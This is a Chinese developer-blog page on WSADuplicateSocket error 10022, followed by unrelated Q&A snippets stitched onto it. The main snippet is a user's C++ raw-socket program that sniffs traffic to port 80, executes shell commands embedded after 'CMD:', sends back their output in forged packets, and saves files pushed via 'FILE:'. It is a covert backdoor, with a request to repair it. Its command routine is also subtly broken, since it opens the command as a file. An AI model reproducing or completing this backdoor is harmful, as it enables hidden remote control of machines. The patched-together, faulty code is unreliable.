WSADuplicateSocket、WSASocket失败,错误码为WSAEINVAL(10022)

本文探讨了套接字复用失败的各种原因,并提出了针对性的解决方案,包括权限不足、进程间通信问题及缓冲区设置不当等。适用于解决Windows环境下套接字编程问题。

PS:最近又发现一种无法复用套接字的情况,修改一下。2011/10/11 16:24


一、失败的原因:

1、MS的解释

    http://support.microsoft.com/kb/216603/en-us

2、目标进程和当前进程不在同一个session内

3、当前进程权限比目标进程低

    WSADuplicateSocket内部会调用OpenProcess打开目标进程的句柄,如果当前进程权限较低,将会导致失败,最终返回10022.

4、套接字的接收缓冲区大小不是默认值,且大于等于65536。

    这种情况会导致WSADuplicateSocket失败,或者WSADuplicateSocket成功但WSASocket失败。


 

二、解决方案:

1、第一种情况,拦截WSASocket, WSPSocket, WSAConnect,将WSAPROTOCOL_INFOW的dwServiceFlages1字段进行如下处理:

    WSAPROTOCOL_INFOW lpProtocolInfo;

    lpProtocolInfo.dwServiceFlages1 &= ~XP1_QOS_SUPPORTED。

    以上代码防止当前进程创建QOS-enable套接字,保证WSADuplicateSocket成功。

2、第二种情况,不懂。

3、拦截OpenProcess,在内部返回目标进程的句柄。如何得到目标进程句柄是个难点。不过目标进程往往是自己写,所以可以通过消息机制让目标进程调用DuplicateHandle返回它的句柄。

4、设置套接字的接收缓冲区时,大小小于65536即可。

    这个情况是遨游的工程师在一段源码的注释中发现的,源码地址:http://www.oschina.net/code/explore/cygwin-1.7.7-1/winsup/cygwin/net.cc。只有以下三个条件同时成立时,接收缓冲区的大小才会导致客户端进行套接字复用时失败:

    a. 服务端和客户端处于不同机器;

    b. 客户端已经收到一部分数据时;

    c. xp系统。

#define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <process.h> #pragma comment(lib, "ws2_32.lib") // 使用 const 定义常量 const int MAX_PACKET_SIZE = 65536; const int HTTP_PORT = 80; // 手动定义缺失的宏 #ifndef SIO_RCVALL #define IOC_IN 0x80000000 #define IOC_VENDOR 0x18000000 #define _WSAIOW(x,y) (IOC_IN|(x)|(y)) #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #endif #ifndef RCVALL_ON #define RCVALL_ON 1 #endif #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; // 版本和头部长度 UCHAR tos; // 服务类型 USHORT tot_len; // 总长度 USHORT id; // 标识符 USHORT frag_off; // 分片偏移 UCHAR ttl; // 生存时间 UCHAR protocol; // 协议类型 USHORT check; // 校验和 ULONG saddr; // 源地址 ULONG daddr; // 目的地址 } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; // 源端口 USHORT dst_port; // 目的端口 ULONG seq_num; // 序列号 ULONG ack_num; // 确认号 UCHAR data_offset; // 数据偏移 UCHAR flags; // 标志位 USHORT window; // 窗口大小 USHORT checksum; // 校验和 USHORT urg_ptr; // 紧急指针 } TCP_HEADER; #pragma pack(pop) // 校验和计算函数 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= static_cast<int>(sizeof(USHORT)); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return static_cast<USHORT>(~cksum); } // 命令执行函数 void execute_command(const char* cmd, char* output, size_t output_size) { FILE* fp; if (fopen_s(&fp, cmd, "r") == 0 && fp) { if (fgets(output, static_cast<int>(output_size), fp) == NULL) { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } _pclose(fp); } else { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); printf("[!] Note: This program requires administrator privileges to run\n"); while (true) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer); if (iph->protocol != IPPROTO_TCP) continue; TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>( buffer + (iph->ver_ihl & 0x0F) * 4); if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output, sizeof(cmd_output)); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet); TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; resp_ip->tot_len = htons(static_cast<u_short>( sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40)); resp_ip->check = 0; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; resp_tcp->flags = 0x18; resp_tcp->window = htons(64240); resp_tcp->checksum = 0; // 填充HTTP响应头 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); size_t cmd_len = strlen(cmd_output); int len = sprintf_s(resp_payload, sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER), "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s", cmd_len, cmd_output); // 计算TCP校验和 - 使用动态内存分配解决C2131错误 char pseudo_header[12]; memcpy(pseudo_header, &resp_ip->saddr, 4); memcpy(pseudo_header + 4, &resp_ip->daddr, 4); pseudo_header[8] = 0; pseudo_header[9] = IPPROTO_TCP; *reinterpret_cast<USHORT*>(pseudo_header + 10) = htons(static_cast<u_short>(sizeof(TCP_HEADER) + len)); // 动态分配内存替代固定大小数组 char* tcp_segment = new char[sizeof(TCP_HEADER) + len]; memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER)); memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len); USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len); // 释放动态分配的内存 delete[] tcp_segment; // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len), 0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; const char* space_pos = strchr(payload + 5, ' '); if (space_pos) { ptrdiff_t name_len = space_pos - (payload + 5); if (name_len < sizeof(filename)) { strncpy_s(filename, sizeof(filename), payload + 5, static_cast<size_t>(name_len)); filename[name_len] = '\0'; printf("[+] Receiving file: %s\n", filename); FILE* fp; if (fopen_s(&fp, filename, "wb") == 0 && fp) { size_t data_len = static_cast<size_t>( payload_len - 6 - static_cast<int>(name_len)); fwrite(space_pos + 1, 1, data_len, fp); fclose(fp); printf("[+] File saved successfully\n"); } else { printf("[-] Failed to open file for writing\n"); } } } else { printf("[-] Invalid FILE command format\n"); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序运行后报错:WSAIoctl failed: 10022 解决报错,给出修改后的完整程序
08-19
服务端报错:严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C2065 “IPPROTO_INFO”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 15 错误 C2146 语法错误: 缺少“;”(在标识符“ipInfo”的前面) 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 15 错误 C2065 “ipInfo”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 15 错误 C2065 “SIO_RCVALL”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 58 错误 C2065 “RCVALL_ON”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 56 错误 C2065 “ipHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 75 错误 C2065 “IP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 75 错误 C2065 “IP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 75 错误 C2059 语法错误:“)” 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 75 错误 C2065 “ipHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 76 错误 C2065 “TCP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 78 错误 C2065 “tcpHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 78 错误 C2065 “TCP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 78 错误 C2059 语法错误:“)” 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 78 错误 C2065 “tcpHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 79 错误 C2065 “IP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 80 错误 C2065 “TCP_HEADER”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 80 错误 C2065 “ipHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 82 错误 C2065 “tcpHeader”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 83 修改报错,给出完整代码
08-19
在 Windows 平台上,`DuplicateHandle` 和 `WSADuplicateSocket` 都可以用于实现跨进程的套接字共享,但它们的适用范围和行为存在本质差异。 `DuplicateHandle` 是一个通用的句柄复制函数,能够复制包括文件、事件和套接字在内的多种内核对象句柄。通过此方法,源进程可以将套接字句柄复制到目标进程中,使目标进程可以直接使用该句柄进行网络通信。然而,这种方法仅适用于共享底层句柄,并不提供协议级别的信息传递[^1]。因此,在某些简单场景下,例如基本的数据收发操作,`DuplicateHandle` 可以替代 `WSADuplicateSocket` 实现句柄共享。 相比之下,`WSADuplicateSocket` 是专门为 Winsock 设计的 API,用于在不同进程之间安全地共享套接字资源。它返回一个 `WSAPROTOCOL_INFO` 结构,该结构包含了重建相同网络连接所需的所有协议相关信息。目标进程可以通过调用 `WSASocket` 函数并传入该结构,重新创建一个指向同一连接的套接字描述符。这种方式确保了对 Winsock 扩展功能(如重叠 I/O 和异步通知)的支持,同时也增强了兼容性[^1]。 因此,虽然 `DuplicateHandle` 能够在特定条件下实现套接字句柄的跨进程共享,但它并不适合所有 Winsock 使用场景。特别是在需要支持高级网络特性或确保跨 Winsock 提供程序兼容性的环境下,推荐使用 `WSADuplicateSocket` 和 `WSAPROTOCOL_INFO` 的组合方式[^1]。 ### 示例代码 #### 使用 DuplicateHandle 共享 Socket 句柄 ```c #include <windows.h> #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { printf("socket failed\n"); return -1; } // 假设已绑定并监听 struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(8080); bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, SOMAXCONN); SOCKET clientSocket = accept(s, NULL, NULL); if (clientSocket == INVALID_SOCKET) { printf("accept failed\n"); closesocket(s); return -1; } DWORD targetProcessId = 1234; // 目标进程 PID HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, targetProcessId); if (!hProcess) { printf("OpenProcess failed\n"); closesocket(clientSocket); closesocket(s); return -1; } HANDLE duplicatedHandle; if (!DuplicateHandle(GetCurrentProcess(), (HANDLE)clientSocket, hProcess, &duplicatedHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) { printf("DuplicateHandle failed\n"); CloseHandle(hProcess); closesocket(clientSocket); closesocket(s); return -1; } printf("Socket handle duplicated: %p\n", duplicatedHandle); // 清理资源 CloseHandle(hProcess); closesocket(clientSocket); closesocket(s); WSACleanup(); return 0; } ``` #### 目标进程使用复制的句柄 ```c #include <windows.h> #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); // 假设从源进程获取到 duplicatedHandle HANDLE duplicatedHandle = /* 来自源进程的句柄 */; // 将句柄转换为 SOCKET 类型 SOCKET sharedSocket = (SOCKET)duplicatedHandle; char buffer[1024]; int bytesReceived = recv(sharedSocket, buffer, sizeof(buffer), 0); if (bytesReceived > 0) { buffer[bytesReceived] = '\0'; printf("Received data: %s\n", buffer); } else if (bytesReceived == 0) { printf("Connection closed\n"); } else { printf("recv failed\n"); } closesocket(sharedSocket); WSACleanup(); return 0; } ``` ### 注意事项 - **权限问题**:目标进程必须拥有访问源进程句柄的权限,否则 `DuplicateHandle` 调用将失败。 - **兼容性限制**:使用 `DuplicateHandle` 复制的句柄不能保证在目标进程中完全支持 Winsock 扩展功能,如异步通知、重叠 I/O 等。 - **生命周期管理**:每个进程应负责关闭其持有的句柄,避免资源泄漏。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值